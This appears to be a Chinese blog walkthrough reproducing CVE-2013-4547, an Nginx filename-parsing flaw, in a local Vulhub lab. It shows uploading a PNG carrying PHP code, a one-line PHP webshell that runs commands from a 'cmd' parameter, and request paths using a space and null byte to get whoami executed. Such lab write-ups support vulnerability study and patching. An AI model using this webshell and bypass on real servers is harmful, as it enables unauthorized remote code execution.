Nginx文件解析漏洞复现:CVE-2013-4547

漏洞原理

CVE-2013-4547漏洞是由于非法字符空格和截止符导致Nginx在解析URL时的有限状态机混乱,导致攻击者可以通过一个非编码空格绕过后缀名限制。假设服务器中存在文件1. jpg,则可以通过改包访问让服务器认为访问的为PHP文件。

漏洞复现

开启靶场

进入/vulhub/nginx/CVE-2013-4547,启动靶场环境:

复制代码
docker-compose up -d

然后访问目标主机的8080端口

复制代码
http://192.168.61.131:8080/

演示

验证漏洞

先上传正常的png图片,发现上传成功并且会显示文件路径

试试上传php文件,会不让上传

上传带有php代码的png图片并且抓包,在文件名后添一个空格,看到返回包中显示了上传成功的文件

复制代码
<?php phpinfo(); ?>

访问shell.png

复制代码
http://192.168.61.131:8080/uploadfiles/shell.png...php

抓包把 ...php 前面的两个 . 改成一个空格一个截断符

漏洞利用

上传木马

复制代码
<?php
$a = $_GET["cmd"];
system($a);
?>

上传带有php代码的图片文件a.png,然后抓包后在文件名后加一个空,看到返回包显示了文件路径

然后访问下面路径,再进行抓包

复制代码
http://192.168.61.131:8080/uploadfiles/a.png...php?cmd=whoami

抓包把 ...php 前面的两个 . 改成一个空格一个截断符,发现返回包执行了whoami的命令

执行ls命令

执行id命令

执行ping命令

总结

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

配置不当:该漏洞与 Nginx、php 版本无关,属于用户配置不当造成的解析漏洞。

CVE-2013-4547:影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

相关推荐
Whoami!9 小时前
⸢ 拾陆-Ⅰ⸥⤳ 安全数智化建设:安全运营中心(SOC)
网络安全·信息安全·soc·安全运营中心
m0_7381207212 小时前
AI安全实战系列(六):Lab06 Model Extraction——模型提取攻击
人工智能·安全·网络安全·语言模型·系统安全
vliu61212 小时前
如何删除流氓软件
网络安全
明月心95217 小时前
https配置
nginx·https配置
菩提小狗17 小时前
每日安全情报报告 · 2026-07-16
网络安全·漏洞·cve·安全情报·每日安全
Ai拆代码的曹操18 小时前
TCP RST 包全链路定位:从 Connection Reset 错误到 Nginx keepalive_timeout 不匹配
网络协议·tcp/ip·nginx
Fnetlink120 小时前
2026年SDWAN供应商如何选,从“连通“到“智连“的架构演进
大数据·网络安全
她叫我大水龙20 小时前
nginx 编译指南:静态编译 + 动态编译
运维·nginx
todoitbo21 小时前
让数据看板随时可见:Grafana + cpolar 远程访问实战
ui·网络安全·grafana·数据看板·远程访问
Fnetlink11 天前
Fnet 云网安 260717
网络·安全·网络安全